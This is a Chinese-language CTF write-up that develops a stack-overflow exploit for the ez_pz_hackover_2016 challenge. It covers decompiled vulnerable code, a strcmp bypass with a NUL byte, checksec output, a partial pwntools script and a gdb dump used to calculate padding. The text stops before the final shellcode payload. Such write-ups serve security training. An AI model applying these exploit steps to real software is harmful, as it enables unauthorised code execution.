ret2syscall的题目做得少 总会有点不熟练
[ret2syscall]ez_pz_hackover_2016
审题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| void *chall() { size_t v0; void *result; char s; _BYTE *v3;
printf("Yippie, lets crash: %p\\n", &s); printf("Whats your name?\\n"); printf("> "); fgets(&s, 1023, stdin); v0 = strlen(&s); v3 = memchr(&s, 10, v0); if ( v3 ) *v3 = 0; printf("\\nWelcome %s!\\n", &s); result = (void *)strcmp(&s, "crashme"); if ( !result ) result = vuln((unsigned int)&s, 0x400u); return result; }
|
chall里面要注意的就是strcmp 可以用\x00绕过 然后就会调用vuln 这题用ubuntu18去调总有些奇奇怪怪的
1 2 3 4 5 6
| void *__cdecl vuln(char src, size_t n) { char dest;
return memcpy(&dest, &src, n); }
|
vuln里面就有栈溢出风险了 看了眼保护nx没开 那么可以直接尝试写入shel
1 2 3 4 5 6 7
| [*] '/Users/apple/Desktop/ez_pz_hackover_2016' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
|
不过随之而来的问题就是写入的地址和padding
调试
他首先会将s的地址打印给我们 我们可以先接收一下 放着后面用 并且还要绕过strcmp函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] sh = process('./ez_pz_hackover_2016')
gdb.attach(sh) sh.recvuntil('crash: ') stack = int(sh.recv(10),16)
payload = 'crashme\\x00' + 'aaab' sh.recvuntil('>') pause() sh.sendline(payload) pause()
|
memcpy函数比较长 我们在0x8048600下断点
1 2 3 4 5 6 7 8 9
| 08:0020│ 0xffde9e00 ◂— 0x72630000 09:0024│ 0xffde9e04 ◂— 'ashme' 0a:0028│ 0xffde9e08 ◂— 0x61610065 0b:002c│ 0xffde9e0c ◂— 0xa6261 0c:0030│ 0xffde9e10 ◂— 0x123c001b ... ↓ 0e:0038│ ebp 0xffde9e18 ◂— 0x8001b 0f:003c│ 0xffde9e1c ◂— 0x480000 10:0040│ 0xffde9e20 ◂— 0x40000
|
第一行是cr字符 然后是ashme 算一下要覆盖到ebp的话还差2+4+4+4个字符 更新一下payload